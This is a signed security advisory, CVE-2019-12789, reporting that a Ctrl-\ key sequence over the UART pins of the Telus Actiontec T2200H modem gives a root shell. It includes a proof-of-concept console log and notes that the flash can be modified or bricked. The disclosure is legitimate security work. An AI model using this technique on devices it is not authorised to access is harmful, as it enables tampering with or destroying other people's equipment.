-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256
### Device Details
Discovered By: Andrew Klaus (andrew@aklaus.ca)
Vendor: Actiontec (Telus Branded)
Model: T2200H
Affected Firmware: T2200H-31.128L.08
Device Manual:
http://static.telus.com/common/cms/files/internet/telus_t2200h_user_manu
al.pdf
Reported: Sept 2018
CVE: CVE-2019-12789
The Telus Actiontec T2200H is bonded VDSL2 modem. It
incorporates 2 VDSL2 bonded links with a built-in firewall, bridge mode,
802.11bgn wireless, etc.
### Summary of Findings
By attaching an adapter, such as a Raspberry Pi or other UART adpter,
to the UART pins on the system board, an attacker can use a special
key sequence (Ctrl-\) to obtain a shell with root privileges at the
login prompt.
After gaining root access, the attacker can mount the linux /dev/md*
jffs2 partitions read-write and make permanent modifications to the
device including disabling features such as remote management, vendor
updating, etc. It can also be used to overwrite the flash storage,
permanently bricking the device.
Other note: I was also able to cross-compile a new full-functionality
BusyBox binary using https://buildroot.org/. By plugging in a USB Mass
Storage Device on the rear of the modem, I was able to dump the firmware
using “busybox dd”.
### PoC (UART output)
Login:
Password: (Ctrl+\)
….
(Long stack trace)
….
#
# cat /etc/image_version
T2200H-311288BGW1521450
# ps aux
PID USER VSZ STAT COMMAND
233 admin 1980 R -/bin/sh
251 admin 0 DW< [kthread]
269 admin 0 SW [kpAliveWatchdog]
301 admin 0 SW [bcmsw]
302 admin 0 SW [bcmsw_timer]
355 500 2344 S /bin/dbus-daemon --system
372 admin 1976 S syslogd -n -C -l 5
373 admin 1952 S klogd -n
911 admin 1732 S /bin/wlevt
1041 admin 0 SW [dsl0]
1273 admin 7084 S swmdk
1401 admin 1800 S ./pmd
1451 admin 5304 S smbd -D
1540 admin 7084 S swmdk
1541 admin 7084 S swmdk
1544 admin 7084 S swmdk
1569 admin 5304 S smbd -D
1661 admin 1304 S /bin/lld2d br0
1785 admin 1240 S /bin/eapd
1803 admin 1676 S /bin/nas
2129 admin 1344 S /bin/acsd
2175 admin 3132 R /bin/wps_monitor
2262 admin 3916 S ./data_center
5941 admin 2924 S dhcp6s -c /var/dhcp6s.conf br0
6018 admin 896 S radvd -C /var/radvd.conf
# mount
rootfs on / type rootfs (rw)
mtd:rootfs on / type jffs2 (ro,relatime)
proc on /proc type proc (rw,relatime)
tmpfs on /var type tmpfs (rw,relatime,size=420k)
tmpfs on /mnt type tmpfs (rw,relatime,size=16k)
sysfs on /sys type sysfs (rw,relatime)
mtd:data on /data type jffs2 (rw,relatime)
-----BEGIN PGP SIGNATURE-----
iQIzBAEBCAAdFiEE/rRUDraOzqmrp8tZoyRid8jQfpkFAlz+o4YACgkQoyRid8jQ
fpmpew//TgspXRJd2FDlrzMH1HVamuKgu5GJWld2HhDSzFKf4geJ514S9w2vgb9n
0QqB0lm9mrz6dk0GyjlorxwxFot2r0RjW90Bwu1Zo0uLNp8iG2aJGDTY6km7UufS
QSSmSUaZot8E/x1UqZpRcbyBjdfJc8X11aHorHXq7j7UQYvmD1vcujM180zxb8eE
+8kHFNG1u77PjFH824hVdtfQj2Jq++yzpIf3WJsidmMqzS/a5af7BePHgO5upXyC
SL5sh5KMaGjJq/rfGr+V8/JL8ClHqQ61IX0qnkzCNMdis0ZVEfGp42GcauEn6Kd2
iyJNJEq6MmQ3wGd0INsTcCMwj4nCBxEyDougZD2gBxTgMBqcWrZo1PlzISWLmhcE
KFjqIBlVOvCXURh0cT+6lRsmAYdywXnLq3qbzjpDeEoXemZ4lkxEQOztxnRzr66K
SJ2Jf2wTIzO0IFkT3xktqi5VyloqUniigcZb9reK5ou1/c3Kn9kdYzsnPGokMdlk
75HXO31cDQJCLrLh2OmpoZP0Wle8+mkFengMoMBkxsi4DqHa9tcnqxZXf8zJYc6j
cd4f6SZjHOmV3uphqlLpgLIvBegF1cPESeMqPaLg6m9kpQSp5BbQGz9nMK22Do6+
sBaH/+4H1fRbVgppKbuuI8Xe4qCqCrvlaPd8nMS5x8IUBhSvySo=
=uXY3
-----END PGP SIGNATURE-----